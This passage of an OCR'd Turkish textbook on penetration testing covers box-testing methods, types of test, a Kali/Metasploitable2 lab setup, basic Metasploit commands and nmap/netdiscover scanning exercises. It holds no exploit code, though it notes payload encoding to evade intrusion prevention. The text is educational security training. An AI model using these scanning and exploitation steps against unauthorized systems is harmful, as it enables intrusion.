bir islem yapamayacaktir. Béyle bir durum igin programa biraz kod satiri ekleyiniz.

GIRISA&B

C=A+B

EGER C>100

"BITTi" YAZDIR

BASKA

“BEKLEMEDE” YAZDIR

Bu programdaki kod satirlarinin kontroli saglanirken A=33 ve B=45 gibi degerlerde program
istenilen sarti saglamadigi icin ekranda “BEKLEMEDE” yazar.
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Bu program o6rneginde gorildugi gibi glvenlik uzmaninin verilen kod blokunun calisma
ihtimallerini diistinerek programin eksik yonlerini gorip dizeltmesi beyaz kutu test ¢alismasidir.

3.4.2. Gri Kutu (Gray Box) Testi

Bu test teknigi, siyah kutu testi ile beyaz kutu testinin bir kombinasyonudur (Gorsel 3.3).
Calisma yapilacak sistem hakkinda temel bilgiler ve erisim izni mevcuttur. Hedef IP listesi,
sunucular vb. bilgiler giivenlik uzmanina verilir. Siyah kutu test yéntemine gore daha kisa zaman
alir. Bu test tekniginin temel amaci, uygulamanin kodlama hatasi veya yanlhs kullanimi nedeniyle
olusan sorunlari bulmaktr.

Gorsel 3.3: Gray box sizma test yontemi

3.4.2.1. Gri Kutu Testinin Avantajlari ve Dezavantajlari
Gri kutu testinin avantajlari sunlardir:
e Bliylk kod bélimleri igin iyi caligir.

e Test kullanicilarinin uygulamayi test etmek icin programlama dilini veya yontemlerini ¢ok iyi
bilmesi gerekmez.

e Programlama koduna erisim sart degildir.
e Test sirasinda kullanicilar ve gelistiriciler icin acikga tanimlanmis roller saglar.

e Test, tasarimcidan ziyade kullanicinin bakis agisina dayanir.

Gri kutu testinin dezavantajlari sunlardir:

e Cogu test senaryosunun tasarlanmasi zordur.
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e Sadece birkag test senaryosu bulundugu icin sinirli kapsama alani vardir.

e Test uzmanlari stire¢ hakkinda sinirh bilgiye sahiptir. Bu nedenle etkili bir test yontemi olarak
degerlendirilmemektedir.

3.4.2.2. Gri Kutu Test Araglari
Gri kutu testleri yapmak igin asagida listelenmis araglar kullanihr.

Selenium: Cesitli platformlarda ve tarayicilarda web uygulamalarini otomatik olarak dogru-
lamak icin kullanilan test araclari paketidir. Python, C# ve JavaScript dahil olmak tzere ¢ok cesitli
programlama dillerini destekler.

Appium: Mobil uygulamalar icin test otomasyonu olan Appium 2013 yilinda ¢ikmistir. 10S,
Android ve Windows uygulamalarinin test edilmesini saglar.

NUnit: Acik kaynak kodlu .Net platformundaki bitin dilleri destekleyen, yazilimlara birim
testi yapmak igin kullanilan bir Framework’tir.

a@nx=

Yazilim gelistiricilerin kullandigi, dnceden hazirlanmis kiitliphanelerin bulundugu ve bunlara

yenilerinin eklenebilecegi yapilara Framework denir. Gelismis Framework’lerde form kontrold,
veri tabani baglantisi, mail atma, kullanici girisi ve ¢ikisi gibi kiitiiphaneler mevcuttur.

. 2. UYGULAMA

Gri Kutu Testi

Asagidaki islem adimlarina gore gri kutu testini yapiniz.

1. Adim: Maillere bakmak icin 6ncelikle oturum agma sayfasinda adresi ve sifreyi dogru
sekilde yaziniz. Giris basarili ise kullaniciya ne gibi haklar verildigini inceleyiniz.

2. Adim: Maillere bakmak icin oturum a¢ma sayfasinda adres veya sifreden herhangi biri
yanlis yazildiginda kullaniciya nasil bir mesaj verildigini inceleyiniz.

iki adimdan olusan bu c¢alisma bir gri kutu test érnegidir. Test kullanicisi, oturum agma
sayfasinda sifresini ve mail adresini yazarak bu bilgilerin islevselligini test etmeye calisir. Bir baska
deyisle test kullanicisi gerekli bilgileri girer ve veri tabanindaki bilgilerle bunlarin dogrulugunu
karsilagtirir. Kullanici bu sekilde sistem davranisini kontrol eder.

Sizma Testi Teknikleri
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3.4.3. Siyah Kutu (Black Box) Testi

Hedef sistem hakkinda hicbir bilgi mevcut degildir. Bilgi toplamak ¢ok zaman alr. Givenlik
uzmani olan kisi, hacker gibi diisiinerek sistem hakkinda bir acik bulabilmek i¢in ¢ok sayida arag
(program) ve yontem denemek zorundadir (Gorsel 3.4).

Gorsel 3.4: Siyah kutu sizma test yontemi

3.4.3.1. Siyah Kutu Testinin Avantajlari ve Dezavantajlari
Siyah kutu testinin avantajlari sunlardir:

¢ Test uzmanlari tarafindan yapildigi igin kod bilgisine ihtiya¢ duyulmaz.

e Kodu gelistiren kisi ve test eden kisi farkli oldugu icin farkh bakis agilariyla test edilebilir ve
goriinmeyen hatalar bile kolaylikla bulunabilir.

e Testler hizli ve etkin bir bicimde uygulanabilir.
e Gereksinimlerin belirlenmesinin hemen ardindan test senaryolari olusturulabilir.

e Biiylik olgekli sistemlerde bu yontem kullanildiginda oldukga yiiksek verim alinir.

Siyah kutu testinin dezavantajlari sunlardir:

e Sistemin yapisi bilinmedigi i¢cin kaynak kod icinde kiimelenmis hatalarin bulunmasi zorlasir.
e Yazilim gelistiricinin kendi yaptigi testler ile tekrara disilebilir.
e Karmaslk kod bloklari iceren yazilimlarda kullanilamaz.

e Bitln olasiliklari kontrol etmek miimkin degildir. Bu nedenle test edilmemis fonksiyonlar
olabilir.
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3.4.3.2. Siyah Kutu Test Yontemleri

Programlardaki bir dizi islevi sistematik olarak test etmek icin test senaryolari tasarlanmalidir.
Test uzmanlari asagidaki siyah kutu testi yontemlerini kullanarak test senaryolari olusturabilir.

Esit Bolumlere Ayirma: Bu yontemle sisteme veya uygulamaya giris degerleri sonugtaki
benzerligine gore farkh siniflara veya gruplara ayrilir.

Sinir Deger Analizi: Bu yontem tim test seviyelerinde uygulanabilir. Bu yontemin uygulamasi
kolay, hata bulma becerisi yiksektir.

Karar Tablosu: Karmasik is kurallarina sahip sistemlerin test edilmesinde kullanilan yontemdir.
Karar tablosu yonteminin en bilyiik avantaji, test sirasinda gézden kagabilecek olasiliklarin net bir
sekilde listelenerek gézden kagirma riskinin en distk seviyelere indirilmesidir.

Durum Gegisi: Belli is kurallarina bagh sartlarin olusmasi ve bir durumdan digerine gegilerek
bir noktada sonlanmasi durumunu test etmektir.

Hata Tahmini: Kodda gecerli olabilecek hataylr tahmin etmeye yonelik bir ¢alismadir. Hata
tahmin teknigi herhangi bir 6zel kurala uymaz.

Grafik Tabanli: TUm nesneler belirlenir ve grafik hazirlanir. Bu nesne grafiginden her nesne
iliskisi belirlenir ve hatalari kesfetmek icin test senaryolari yazilr.

Karsilagtirma: Bu yontemde test etmek i¢in ayni yazihmin farkh bagimsiz strimleri birbir-

leriyle karsilastirilir.

3. UYGULAMA

Siyah Kutu Testi

internetteki herhangi bir aligveris sitesinin islevselligini kontrol etmek icin asagidaki islem
adimlarina gore siyah kutu testini yapiniz.

1. Adim: Web sitesine giris yapiniz ve bir kullanici girisi olusturunuz.

2. Adim: Alinacak Urlinleri seginiz ve sepete ekleyiniz.

3. Adim: Sepete gidiniz ve segilen rinleri kontrol ediniz.

4. Adim: Odeme segeneklerine bakiniz.

5. Adim: Uygun 6deme secenegini isaretleyiniz. Gerekli 6deme bilgilerini giriniz.
6. Adim: Odeme islemini gerceklestiriniz.

7. Adim: Kullanici girisi olusturmadan (riin seciniz, sepete gidiniz ve 6deme seceneklerini
kontrol ediniz.

8. Adim: Web sitesinde olmayan bir Girinl arayiniz ve sitenin hangi hatayi verdigini kontrol
ediniz.
9. Adim: Uriin seginiz, sepete gidiniz ve ddeme segeneklerinin galisip ¢alismadig kontrol edi-

niz.
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3.4.4. Siyah, Beyaz ve Gri Kutu Testleri Arasindaki Farklar

Sizma testlerinin karsilastirilmasi Tablo 3.1’de verilmistir.

Tablo 3.1: Sizma Testlerinin Karsilagtirnlmasi

Siyah Kutu Testi

Beyaz Kutu Testi

Gri Kutu Testi

Test eden kisi sistem veya
yazilimin yapisi hakkinda

herhangi bir bilgiye sahip
degildir.

Sistem veya yazilimin yapisi
tamamen bilinmektedir.

Sistem veya yazilimin yapisi
kismen bilinmektedir.

Kapali kutu, islevsel test ve
veriye dayali test olarak da
bilinir.

Cam, seffaf kutu, yapisal
test veya kod tabanli test
olarak da bilinir.

Gri kutu testi veya yari say-
dam test olarak da bilinir.

Test kullanicilar, gelisti-
riciler ve son kullanicilar
tarafindan yapilir.

Yalnizca testgiler ve yazi-
m gelistiriciler tarafindan

yapllir.

Test kullanicilari, gelisti-
riciler ve son kullanicilar
tarafindan yapilir.

Algoritma testi icin uygun
degildir.

Algoritma testi icin uygun-
dur.

Algoritma testi icin uygun
degildir.

Test cihazinin sistemin da-
hilt calismasiyla higbir ilgisi
yoktur.

Test cihazi, sistemin dahili
¢alismasi hakkinda tam
bilgiye sahiptir.

Test cihazi, sistemin dahili
calismasi hakkinda kismi
bilgiye sahiptir.

Gizli hatalar kolayca bulu-
namaz.

Dahill calisma test eden kisi
tarafindan iyi bilindigi icin
gizli hatalar ¢cok kolay bir
sekilde bulunabilir.

Kolayca bulunmaz ancak
kullanici diizeyinde bulu-
nabilir.

Kara kutu testi en az zaman
alan sirectir.

Beyaz kutu testi zaman alici
bir surectir.

Gri kutu testi, beyaz kutu
testinden daha az zaman
alir.

Beyaz kutu ve gri kutu tes-
tinden daha az kapsamlidir.

En kapsamli sirectir.

Kismen kapsaml slrectir.

3.5. SIZMA TESTi UYGULAMA ALANLARI

Siber saldirganlar tarafindan bilgisayar ve ag sistemlerine karsi cesitli yollardan saldirilar

e Ag glvenligi sizma testleri

e Web uygulamalarina yonelik sizma testleri

e Mobil uygulamalar icin sizma testleri

e Kritik altyapili sistemler igin sizma testleri

e Yiik (DDoS) testleri
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e Bulut sistemi i¢cin sizma testleri
e Kablosuz aglar icin sizma testleri
e Sosyal muhendislik testleri

e \eri tabani sizma testleri

3.5.1. Ag Sizma Testleri

Bu testler, i¢ ag sizma testleri ve dis ag sizma testleri olmak lizere ikiye ayrilir.

i¢c Ag (Internal) Sizma Testleri: Bir devlet kurumunun veya 6zel bir kurumun kendi igindeki
ag sistemine veya bilgilere erisilebilecegini arastirir (Gorsel 3.5). Givenlik uzmani agda bulunan
cihaz, yazilim, sifreler gibi bitlin ayrintilari kontrol etmek zorundadir.

Gorsel 3.5: i¢ ag sizma testi

i¢c ag sizma testi icin yapilmasi gereken islemler sunlardir:

e ic agda mevcut bulunan ag numaralandirmasini (IP listesi) kontrol etmek

e Bir veya daha fazla program (arag) kullanarak ag genelinde giivenlik a¢ig1 taramasi gergek-
lestirmek

e Nmap gibi bir program ile tiim agi tarayarak hangi baglanti noktalarinin ve hizmetlerin ¢alisip
¢alismadigini belirlemek

e Wireshark gibi acik kaynak kodlu bir programla kablosuz ag trafigi de dahil olmak lizere ag
trafigini taramak ve veri paketlerini incelemek

e Agda kullanilan isletim sistemleri ve yazilimlar i¢in glvenlik agiklari olup olmadigini kontrol
etmek
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e isletim sistemlerinin ve kullanilan yazilimlarin giincel olup olmadigini kontrol etmek

e Standart bir metasploit taramasi yaparak bulunan giivenlik aciklarindan yararlanmak igin
uygun exploitler secmek ve kullanmak

e Agdaki bilgisayarlarin paylasimlarina baglanmayi denemek
* Ana bilgisayarlarda sifreleri kirmaya ¢alismak

e Sunucularda, yazicilarda, anahtarlarda, yonlendiricilerde ve kablosuz erisimde varsayilan
parolalari denemek

e Agin herhangi bir yerinde yetkisiz cihazlarin veya yazilimlarin olup olmadigini kontrol etmek

e Artik kurulusta bulunmayan calisanlar icin hala aktif hesaplarin olup olmadigini kontrol
etmek

¢ Kullanilan parolalarin ne siklikla degistirildigini kontrol etmek

e Rapor olusturmak

Dis Ag (External) Sizma Testleri: Bir devlet kurumunun veya 6zel bir kurumun disariya agik
olan sistemleri Gzerinden hangi bilgilere ve sistemlere erisilebilecegini arastirir (Gorsel 3.6).
Guvenlik uzmani dis agla ilgili olan cihaz, yazilim, sifreler gibi butiin ayrintilari kontrol etmek
zorundadr.

Gorsel 3.6: Dis ag sizma testi

Dis ag sizma testi icin yapilmasi gereken islemler sunlardir:

e Agda IP adreslerinin kontroli i¢cin tarama islemi yapmak
e Varsa web sunucusunun IP adresini kontrol etmek
e Yonlendiricinin ayarlarini kontrol etmek

e OWASP gibi programlar kullanarak web sitesinin glivenlik aciklarini kontrol etmek

116 I Sizma Testi Teknikleri



e Web sitesi icin manuel olarak tespit edilen glivenlik acgiklarina saldiri yapmak

e Web sitesinde bulunan givenlik agiklarina uygun exploitler secerek saldiri yapmak
e Kablosuz agi kontrol etmek ve yetkisiz kullanici varsa ¢ikarmak

e Herkesin kullaniminda olan bir cihaz i¢in parola deneme islemi yapmak

e Rapor olusturmak

3.5.2. Web Uygulama Sizma Testi

Bu test, herhangi bir web adresini hedef alarak bu adres (izerinden bir sisteme veya cesitli
verilere erisilebilecegini arastirir (Gorsel 3.7). ilgili kurumun internete acik olan (DNS, FTP, mail,
web vb.) servislerini kontrol etmek icin kullanilir.

Gorsel 3.7: Web sizma testi

Guvenlik uzmani, web sizma testi icin OWAPS Metodolojisi kilavuzunda belirtilen asagidaki
islem basamaklarini sirasiyla yapabilir.

e Giris ve Hedefler

* Bilgi Toplama

e Yapilandirma ve Dagitim Yonetimi Sinamasi
e Kimlik Yonetimi Testi

e Kimlik Dogrulama Testi
e Yetkilendirme Testi

e Oturum Yonetimi Testi
e Giris Dogrulama Testi
e Hata isleme

e Sifreleme

e s Mantig Testi

e [stemci Taraf Testi
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OWASP; kuruluslarin givenilir uygulamalari tasarlamalarini, gelistirmelerini, edinmelerini,

isletmelerini ve siirdiirmelerini saglamaya adanmis agik bir topluluktur. Tum OWASP araclari,
belgeleri, forumlari ve bolimleri (cretsizdir ve uygulama giivenligini artirmak isteyen herkese
acikti. OWASP Web Uygulamasi Glivenlik Sinama Yontemi, siyah kutu test yaklasimini temel alir.

3.5.3. Mobil Uygulama Sizma Testi

GUnUmuizde mobil cihazlar ve bunlarla beraber kullanilan mobil uygulamalar hizla artmaktadir.
Dinya nifusunun bilylk bir bélimi akilh cep telefonu kullanmaktadir. Mobil uygulamalarda
kredi karti verilerinden tibbi verilere kadar bir¢ok hassas bilgi islenir ve saklanir. Kullanici sayisinin
artisi ile beraber uygulama ve uygulama icindeki modauller saldirganlarin hedefi haline gelebilir.
Mobil uygulama sizma testiyle mobil cihazlar ve uygulamalar giivenli hale getirilir (Gorsel 3.8).

Gorsel 3.8: Mobil uygulama sizma testi

3.5.4. Kritik Altyapi Sistemleri Sizma Testleri

Gelisen bilgi ve iletisim teknolojisiyle birlikte bircok tilkede kurulan kritik altyapi, devletler icin
hayati 6neme sahip aglarin yonetildigi sistemlerin butlinudir. Kritik altyapilar sakladigi verinin
ozelligi ve ulasilabilirligi bozuldugunda can ve mal kaybina, blylik ekonomik zararlara, kisisel ve
ulusal guivenlik zafiyetine, kamu dizeninin bozulmasina sebep olabilecek alt sistemleri iceren
kompleks sistemlerdir. Avrupa Birligi tarafindan 2004 yilinda bu tanimlama temel alinarak kritik
altyapiya dahil olabilecek sektérler dokuz bashk altinda gruplandiriimistir.

Bu sektorler sunlardir:

e Enerji kurumlari ve aglari

* Bilgi ve iletisim teknolojileri ile baglantili yapilar
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e Finansman hizmetleri

e Saglk hizmetleri ve iliskili yapilar
e Gidanin kendisi, yapilari ve aglari
e Suyla ilgili altyapilar

e Ulasim araclari ve aglari

 Nikleer, kimyasal, biyolojik maddeler gibi tehlike arz eden maddelerin tretimi, saklanmasi
ve nakliyesi

e Hikimete ait degerli varliklar ve islevler

@z

Kritik altyapi sistemlerine periyodik olarak uygulanan testler ve alinacak onlemler ok
onemlidir.

3.5.5. Hizmet Engelleme ve Yiik Testi

DDoS (Denial of Service), bir diger adiyla servis disi birakma saldirilari, kuruma ait olan tim
internet sistemini detayli analiz ederek sistemi servis disi birakir (Gorsel 3.9). Kurumlarin ¢evrimigi
hizmetlerinin uzun sire ulasiimaz hale gelmesine sebep olur. DDoS giinlimiizde yaygin bicimde
kullanilan saldiri tirlerinden biridir. DoS ve DDoS saldirilarinda amag, sistemin verdigi hizmetleri
aksatmaktir. Gergeklestirilecek DoS/DDoS testleri, saldirilara karsi sistemlerin veya uygulamalarin
dayanikhligini 6lgmeye ve sistemde veya uygulamalarda tespit edilen problemlerin giderilmesine
katki saglar.

Gorsel 3.9: DDoS sizma testi
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3.5.6. Bulut (Cloud) Sizma Testi

Bulut (Cloud), bilgisayarin sabit diski yerine veri ve programlarin internet (zerinden
depolanmasli ve bunlara erisilmesi anlamina gelir. Bulut sisteminde veriler internet ortaminda
saklandigi igin glivenlik sorunlarini glindeme getirir (Gorsel 3.10).

Gorsel 3.10: Bulut sizma testi

a@nx=

Bulut sunucularindaki zafiyetler igin yapilan giivenlik testleri cok dnemlidir.

3.5.7. Kablosuz Ag (Wireless) Sizma Testi

Kablosuz ag sizma testi, kurumlarin kendi i¢ aglarinda kullandigi kablosuz ag altyapisinin
incelenerek sisteme disaridan gerceklestirilebilecek sizmalara veya kotl niyetli kisilerin
saldirilarina karsi sizma testlerinin yapiimasini ve raporlama hizmetini icerir (Gorsel 3.11).

Gorsel 3.11: Kablosuz ag sizma testi
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3.5.8. Sosyal Miihendislik Testleri

Sosyal miihendislik testleri, kurum ¢alisanlarindan kaynaklanan zafiyetleri bulmaya yonelik bir
denetim calismasidir (Gorsel 3.12).

Gorsel 3.12: Sosyal miihendislik sizma testi

Cok iyi cihazlar ve yazilimlarla kurulan givenlik sistemleri bile kullanici hatalari karsisinda
yetersiz kalabilir. Sosyal mihendislik testleri, kurum c¢alisanlarinin insani zafiyetlerini ortaya
cikaracak sekilde giivenlik biling seviyesinin 6lctldugi testlerdir.

3.5.9. Veri Tabani Sistemlerine Yonelik Glivenlik Testleri

Veri tabani sistemlerine yonelik glvenlik testleri; kurum blinyesinde kullanilan ORACLE,
MSSQL, MySQL gibi veri tabani sistemlerinin yetkili kullanici géziliyle kontrol edilmesi ve glivenlik
acisindan sorun cikarabilecek unsurlarin belirlenmesi ile ilgili testlerdir (Gorsel 3.13).

Gorsel 3.13: Veri tabani sizma testi

3.6. SIZMA TESTLERI iCiIN KAPSAM BELIRLEME

Kapsam belirleme, bir sizma testinin en dnemli asamasidir. Kurumla goriismeler sonucunda
sizma testinin nasil, ne Olglide ve hangi zaman araliginda uygulanacagi, ne kadar siirecegi,
maliyeti gibi hususlar 6nceden tespit edilerek gerekli yasal s6zlesmeler yapilir.
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Bir kurumla ilk defa ¢alisilacaksa kurumu bilgilendirmek ve sizma testini netlestirmek icin bir
anket uygulanabilir. Bu anket ¢alismasiyla yapilacak test isleminin sinirlari belirlenir. Kurumlar
asagidaki sizma testlerinden bir veya birkagini tercih edebilir.

e Ag sizma testi
e Web uygulamasi sizma testi
e Kablosuz ag sizma testi

e Fiziki sizma testi

3.7. SIZMA TESTLERINDE iZLENECEK YOLLAR

Herhangi bir kurum icin gerceklestirilecek sizma testinde en yiksek verimi elde etmek icin iyi
bir planlama sarttir. Sizma testlerinde izlenecek yollar asagida verilmistir.

¢ Sizma testinin kapsami belirlenir.
e Sizma testinin tim ag icin mi, agin belirlenen bir kismi igin mi yapilacagi netlestirilir.
e Sizma testini yapacak kisi (glivenlik uzmani) veya sirket belirlenir.

¢ Sizma testi sonucunda hazirlanan rapordaki eksiklikler giderilir.

3.8. SANAL SIZMA LABORATUVARININ KURULUMU

Sizmatestleriyleilgili teknikleri uygulayabilmekicin bilgisayara sanal bir sizma testi laboratuvari
kurulmalidir. Sanal sizma testi laboratuvari, sizma testi icin gerekli programlarin rahatlikla 6gre-
nilmesini saglar. Bu laboratuvar, agda olusan veri trafiginin veya gerceklestirilen saldirilarin disari
cikmadigi izole bir ortam sunar. Bu sayede programlarin g¢alismasi 6grenilirken hicbir sisteme
zarar verilmez. Bu alanda kendini gelistirmek isteyen kisi, sistemlere zarar vermeden tiim araglari
kullanabilir.

Sanallastirma, bilgisayarda var olan bir fiziksel donanimin mantiksal bélimlere ayrilarak s6z
konusu fiziksel makine lzerinde birden fazla sanal makinenin kullanimini saglayan bir ydontemdir.
Bir bilgisayar Gzerinde sanal makine olusturularak farkli bir isletim sistemi kullanilabilir.

Sanal sizma laboratuvari olusturmak icin bilgisayara 6nce Virtual Box adli sanallastirma yazilimi
ylklenir. Daha sonra en popliler glivenlik test isletim sistemi olan Kali Linux ve glivenlik agiklari
bulunan bir Metasploitable2 yiiklenir. Exploit islemleriicin gerekli metasploit araci genellikle Kali
Linux icinde mevcuttur ancak mevcut degilse ayri olarak yiklenir.
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3.8.1. Virtual Box Programinin Kurulumu

Virtual Box, acik kaynak kodlu ve licretsiz bir yazihmdir. www.virtualbox.org/wiki/Downloads
adresinden indirilir. Kullanilan isletim sistemine gére tercih yapilir. Ornegin bilgisayarda herhangi
bir isletim sistemi kuruluyken bu program ile sabit disk bolimine kurulum yapilmadan, ayni
bilgisayara Kali Linux isletim sistemi ylklenip kullanilabilir.

3.8.2. Kali Linux isletim Sisteminin Kurulumu

GUnumuzde en yaygin olarak kullanilan glivenlik test platformlarindan Kali Linux, Linux Debian
tabanl ve (cretsiz bir isletim sistemidir. Kali Linux daha 6nce kullanilan Linux’un BackTrack
dagiiminin devamidir. Kali Linux her renkten hackerlarin kullandigi araglari icinde barindirir.
Sizma testi yapan glvenlik uzmanlari da adli bilisim uzmanlari da Kali Linux’u kullanirlar. Kali
Linux her yas grubuna ve seviyeye hitap eden bir isletim sistemidir. Kali Linux’taki araglar sizma
testlerinde son derece basarihdir. Kali Linux’u kullanan kisiler bu isletim sisteminde istedigi ayar
degisikliklerini yapabilir. Kali isletim sistemi icin https://www.kali.org/downloads/ adresinden 32
bit veya 64 bitlik slirim segilerek .iso uzantili kurulum dosyasi indirilir.

Kali Linux isletim sistemi;

e Bilgisayarin sabit diskine yiiklenerek,
e USB'ye ylklenerek,

e Virtual Box gibi sanal ortamda kullanilarak li¢ sekilde ¢alstirilabilir.

Bir Linux versiyonu oldugu icin Kali kullanilirken Linux komutlarinin ve gorevlerinin bilinmesin-
de fayda vardir.

3.8.3. Metasploitable2 Programinin Kurulumu

Siber glivenlik egitimlerinde zafiyetli bir test ortamina ihtiya¢ duyulur. Bunun igin
Metasploitable2 uygulamasi kullanilabilir. Metasploitable2, uygulamali sizma testi egitimleri ve
glvenlik arastirmalarinda kullanilmak igin olusturulan bir test ortamidir.

Hedef bir makineyi ele gecirmek ve yaygin giivenlik aciklarini test etmek icin tasarlanmis
zafiyetli Ubuntu Linux sanal makinesi olan Metasploitable2, Virtual Box gibi sanallastirma
platformlarina kurulur.

Metasploitable2’nin grafik tabani yoktur. Metasploitable2, konsol ekrant ile kullanilir ve sizma
testlerine baslayanlar icin oldukca faydalidir. Bu program, https://sourceforge.net/projects/
metasploitable/ adresinden indirilir. Kullanici adi ve sifre kismina msfadmin yazilir.
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3.8.4. Metasploit Programi

Metasploit, glivenlik testleri icin gelistirilmis acik kaynak kodlu bir test aracidir. Metasploit,
Ruby programlama diliyle yazilmistir ve Kali Linux igcinde exploitleri kullanmaya yarayan bir aractir.

Gorsel 3.14: Metasploit programi agilis ekrani

Metasploit; sistemlerde bulunan aciklarin tespit edilmesi, sistemlere sizilmasi, sistemlerin
somurilmesi icin gerekli programlari icinde barindiran bir aractir. Metasploit programinda
1000’den fazla exploit araci bulunmaktadir. Bu exploitlerin kullanimi icin parametreler ve
modiiller de vardir. Bu program, https://www.metasploit.com/ adresinden indirilebilir.

Metasploit kullanilarak su islemler yapilabilir:

e Bir exploit segme ve yapilandirma
e Veriyi se¢me ve yapilandirma
e Hedef sistemin secilen istismara duyarli olup olmadigini test etme

e Saldiri 6nleme sisteminin (IPS) veriyi gérmezden gelmesi icin kodlama teknigi

Kali Linux isletim sisteminde terminal ekranina “msfconsole” yazarak Metasploit programi
calistirilir. Metasploit ile ilgili kullanabilecek parametrelerden bazilari sunlardir:

help: Hangi komutlarin kullanilabilecegini gorintdler.
search: Exploit aramasi yapar.

show: istenen ifadeleri gosterir.

use: istenen exploitin kullanilmasini saglar.

set: Bir degiskene deger atamak i¢in kullanihr.

set RHOST: Hedef IP adresidir.

set LHOST: Kullanici IP adresidir.
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a@nx=

Payload, hedef sistem lizerinde yikici bir eylem gergeklestiren, ayricalikli erisim ve izinler

saglayan koti niyetli kodu ifade eder (Bir kullanici olusturma, bir islemi baslatma veya tasima ve
hatta bir asamada dosyalari silme vb.).

()

Msfvenom, Metasploit programi altinda bulunan bir payload tGretme aracidir.

. SIRA SiZDE

internetten kurulum dosyalarini indirerek bilgisayariniza Virtual Box sanal makine programini

kurunuz. Bu programin igine de Kali Linux ve Metasploitable2 isletim sistemlerini kurunuz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

EVET HAYIR

3.9. SIZMA TESTi ASAMALARI

Sizma testi; bilgi toplama, ag haritalama, zafiyet tarama, exploit se¢imi, erisim elde etme,

OLCUTLER

arastirma, erisimlerin korunmasi, izlerin silinmesi, raporlama asamalarindan olusur.

3.9.1. Bilgi Toplama

Sizma testi icin belirlenen hedef hakkinda bu asamada
detayl bilgi toplanir (Gorsel 3.15). Bu hedef bir web sayfasi
olabilir. Bu hedef hakkinda kimdir, nedir, ne is yapar, hangi
sistem Uzerine kuruludur vb. sorulara cevap aranir. Gorsel 3.15: Sanal ortamda bilgi toplama
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Bilgi toplama, aktif bilgi toplama ve pasif bilgi toplama olmak tizere ikiye ayrilir.

Pasif Bilgi Toplama

Pasif bilgi toplama, internet lzerinden herhangi bir arag veya program kullanilmadan yapilan
bilgi toplamadir. Arama motorlarindan veya sosyal paylasim platformlarindan pasif bilgiler topla-
nabilir.

- SIRA SiZDE

Bilgisayarinizda yikll olan arama motorunu kullanarak yasadiginiz sehirle ilgili bilgi toplayiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESi

OLCUTLER EVET HAYIR

Aktif Bilgi Toplama

Aktif bilgi toplama, ¢ok sayida ara¢ (program) kullanilarak yapilan bilgi toplama yontemidir.
Aktif bilgi toplama isleminde ilk olarak port taramasi yapilir. Sistemler hakkinda higbir bilgi yoksa
sistemlerin belirlenmesinde hizli bir “ping” taramasi kullanilabilir. Bazi test uzmanlari sadece acik
TCP ve UDP portlarina bakar.

Gorsel 3.16: Aktif bilgi toplama islemi

126 I Sizma Testi Teknikleri



Aktif bilgi toplama islemi Nmap programi ile yapilir.

Nmap Programi: Nmap, ag taramasi ve zafiyet tespiti icin kullanilan agik kaynak kodlu bir
aractir. Gordon Lyon tarafindan gelistirilmistir. Kali Linux denilen (cretsiz isletim sisteminde
bulunmaktadir. Bu program Windows isletim sistemine de yliklenebilir. A§ yoneticilerine ag
ortamlarini taramada buylk kolaylik saglar. Bu program, https://nmap.org/download.html
adresinden indirilerek bilgisayara kurulabilir. Program calistirildiktan sonra komut satirina ilgili
komutlar yazilarak islem yapilabilir.

- 4. UYGULAMA

Nmap Aracini Kullanarak Kali isletim Sisteminde Hedef Tanimlama

Asagidaki islem adimlarina gore Kali isletim sisteminde nmap aracini kullanarak hedef
tanimlayiniz.

1. Adim: Konsol ekranina sudo netdiscover -f yazarak ag ortamindaki bilgisayarlarin IP numa-
ralarini tespit ediniz.

2. Adim: Segilen hedef bilgisayarin IP adresini nmap <Hedef IP numarasi> seklinde yaziniz.

3. Adim: Nmap araci ile bu IP adresi i¢in tarama islemi yapiniz ve agik portlari bulunuz (Gorsel
3.17).

Gorsel 3.17: nmap ile hedef IP’nin kontrol edilmesi ve agik portlarin bulunmasi

a@nx=

Port, fiziksel ve sanal olmak lzere iki ¢esittir. D6rdiinci uygulamada sanal portlar anlatiimistir.

Sanal portlar, yazihmlarla yonlendirilen mantiksal baglanti noktalaridir. Nmap programi ile hedef
bilgisayar Gzerindeki agik portlar tespit edilir.
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3.9.2. Ag Haritalama

Ag haritalama, hedef sistemin ag yapisinin belirlenmesi icin yapilan ¢alismadir. Bu ¢alisma
yapilirken nmap gibi gelismis araglar kullanihir. Bu program ¢alistirildiginda sistemdeki agik portlar,
servisler, servislerin hangi yazilimin hangi stirimi oldugu bilgileri, ag girislerinde bulunan VPN,
firewall, IPS cihazlari ve sunucuda calisan isletim sistemi belirlendikten sonra hedef sisteme ait

ag haritasi ¢ikarilir (Gorsel 3.18).

Gorsel 3.18: Sizma testi uygulanacak agin haritasini olusturma

. 5. UYGULAMA

Netdiscover Aracini Kullanarak Kali Linux igindeki Ag Taramasi Yapma

Asagidaki islem adimlarina goére netdiscover aracini kullanarak ag taramasi yapiniz.
1. Adim: Kali Linux icindeki netdiscover aracini calistiriniz.
2. Adim: Netdiscover araciyla ag taramasi yapiniz.

3. Adim: Aga bagli ana bilgisayarlarin IP ve MAC adreslerini bularak test yapilan agin haritasini
¢ikariniz (Gorsel 3.19).

Gorsel 3.19: Kali Linux netdiscover araciyla ag haritasi olusturma
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3.9.3. Zafiyet Tarama

Bu silirecin amaci, belirlenen hedef sistemlerdeki acikliklarin ortaya c¢ikarilmasidir. Bu islem
icin otomatize (nessus, nmap) araclar kullanilir. Bu araglarla yapilan zafiyet arama islemlerinde
amag, sistemin o anki glivenlik goriintisiini almaktir. Kullanilan arag, bu islem sonucunda
glivenlik aciklarini ve detaylarini gbsteren bir rapor da olusturur.

Zafiyet ornekleri sunlardir:

e Basit sifre ve parola kullanimi

e Web uygulamalarindaki 6nemli dosyalara erisilebilir olmasi

e Sistem icinde kritik Gneme sahip dosyalarin paylasimda olmasi
e SSL sifrelemedeki eksiklikler

e SSL sifreleme destegi olmayan web siteleri

e isletim sistemi ve uygulamalarindaki giincelleme eksiklikleri

e iletisim altyapisindaki eksiklikler

3.9.4. Uygun Program ve Exploitlerin Segimi

Hedef sistemde bulunan zafiyetler belirlendikten sonra uygun programlar ve exploitler
belirlenir. Zafiyetin ¢esidine gore hedef sistemle baglanti kurmak icin gerekli exploitler Ucretli
veya Ucretsiz olarak internetten bulunabilecegi gibi glivenlik uzmani tarafindan da yazilabilir.

3.9.4.1. Exploit (Aciklardan Yararlanma veya Somiirme islemleri)

